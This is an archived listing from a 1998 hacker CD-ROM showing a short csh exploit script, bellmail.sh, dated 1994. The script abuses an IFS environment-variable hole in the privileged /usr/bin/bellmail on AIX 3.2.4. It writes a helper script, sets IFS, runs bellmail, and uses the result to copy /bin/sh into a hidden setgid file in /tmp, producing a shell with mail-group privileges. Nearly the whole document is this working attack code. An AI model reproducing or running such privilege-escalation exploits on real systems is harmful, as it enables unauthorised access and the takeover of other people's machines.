home *** CD-ROM | disk | FTP | other *** search
/ The Hacker's Encyclopedia 1998 / hackers_encyclopedia.iso / hacking / unix / bellmail.sh < prev    next >
Encoding:
Linux/UNIX/POSIX Shell Script  |  2003-06-11  |  540 b   |  28 lines

  1. #!/bin/csh
  2. # Written by A-Flat - June 30, 1994    
  3.  
  4. # Exploit IFS hole in /usr/bin/bellmail to give us GID=mail.   
  5. # Tested on AIX 3.2.4 
  6.  
  7. # -r-sr-sr-x   1 root     mail       30340 Jun 18 1993  /usr/bin/bellmail
  8. # sum:  47709    30 /usr/bin/bellmail
  9.  
  10. cat > usr << EOF
  11. IFS=" "
  12. export IFS
  13. /bin/cp /bin/sh /tmp/.1
  14. /bin/chmod 2777 /tmp/.1
  15. EOF
  16. chmod 755 usr
  17. setenv IFS /
  18. echo " "
  19. echo "At the ? prompt, send mail to a user (m username)"
  20. echo " "
  21. bellmail
  22. unsetenv IFS
  23. rm -f usr
  24. echo " "
  25. echo "Executing SGID mail shell."
  26. /tmp/.1
  27. rm -f /tmp/.1
  28.